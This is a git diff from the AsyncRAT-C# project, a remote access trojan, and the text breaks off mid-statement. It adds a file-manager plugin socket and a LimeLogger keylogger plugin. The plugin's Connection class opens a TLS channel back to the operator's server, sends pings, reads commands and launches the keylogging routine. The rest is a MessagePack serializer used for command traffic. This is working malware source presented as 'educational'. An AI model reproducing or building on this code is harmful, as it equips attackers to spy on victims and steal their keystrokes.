b/AsyncRAT-C#/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..891c31b --- /dev/null +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +//[assembly: AssemblyTitle("FileManager")] +//[assembly: AssemblyDescription("")] +//[assembly: AssemblyConfiguration("")] +//[assembly: AssemblyCompany("")] +//[assembly: AssemblyProduct("FileManager")] +//[assembly: AssemblyCopyright("Copyright © 2019")] +//[assembly: AssemblyTrademark("")] +//[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("bee88186-769a-452c-9dd9-d0e0815d92bf")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Client/Connection/TempSocket.cs b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs similarity index 92% rename from AsyncRAT-C#/Client/Connection/TempSocket.cs rename to AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs index a3fefec..23ec801 100644 --- a/AsyncRAT-C#/Client/Connection/TempSocket.cs +++ b/AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs @@ -1,8 +1,4 @@ -using Client.Handle_Packet; -using Client.Helper; -using Client.MessagePack; -using Microsoft.VisualBasic.Devices; -using System; +using System; using System.Diagnostics; using System.IO; using System.Net.Sockets; @@ -13,7 +9,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; -using Client.Algorithm; +using Plugin.MessagePack; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -21,7 +17,7 @@ using Client.Algorithm; // This program is distributed for educational purposes only. -namespace Client.Connection +namespace Plugin { public class TempSocket { @@ -37,7 +33,7 @@ namespace Client.Connection public TempSocket() { - if (!ClientSocket.IsConnected) return; + if (!Connection.IsConnected) return; try { @@ -47,7 +43,7 @@ namespace Client.Connection SendBufferSize = 50 * 1024, }; - TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1])); + TcpClient.Connect(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Connection.TcpClient.RemoteEndPoint.ToString().Split(':')[1])); Debug.WriteLine("Temp Connected!"); IsConnected = true; @@ -71,7 +67,7 @@ namespace Client.Connection #if DEBUG return true; #endif - return Settings.ServerCertificate.Equals(certificate); + return Connection.ServerCertificate.Equals(certificate); } public void Dispose() @@ -98,7 +94,7 @@ namespace Client.Connection { try { - if (!ClientSocket.IsConnected || !IsConnected) + if (!Connection.IsConnected || !IsConnected) { IsConnected = false; Dispose(); @@ -162,7 +158,7 @@ namespace Client.Connection { try { - if (!IsConnected || !ClientSocket.IsConnected) + if (!IsConnected || !Connection.IsConnected) { Dispose(); return; diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln new file mode 100644 index 0000000..bad8c47 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LimeLogger", "LimeLogger\LimeLogger.csproj", "{DAFE686A-461B-402B-BBD7-2A2F4C87C773}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {2E2428AA-B37D-4539-89E0-B88E9A8AE931} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs new file mode 100644 index 0000000..d80ed26 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient() + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + HandleLimeLogger.isON = true; + HandleLimeLogger.Run(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj new file mode 100644 index 0000000..5074274 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/LimeLogger.csproj @@ -0,0 +1,55 @@ + + + + + Debug + AnyCPU + {DAFE686A-461B-402B-BBD7-2A2F4C87C773} + Library + Properties + Plugin + LimeLogger + v4.0 + 512 + true + + + true + full + false + ..\..\..\Binaries\Debug\Plugins\ + DEBUG;TRACE + prompt + 4 + + + none + true + ..\..\..\Binaries\Release\Plugins\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xD9) + { + // str 8 stores a byte array whose length is upto (2^8)-1 bytes: + // +--------+--------+========+ + // | 0xd9 |YYYYYYYY| data | + // +--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDE) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDF) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Map; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDA) + { + // str 16 stores a byte array whose length is upto (2^16)-1 bytes: + // +--------+--------+--------+========+ + // | 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + // +--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if 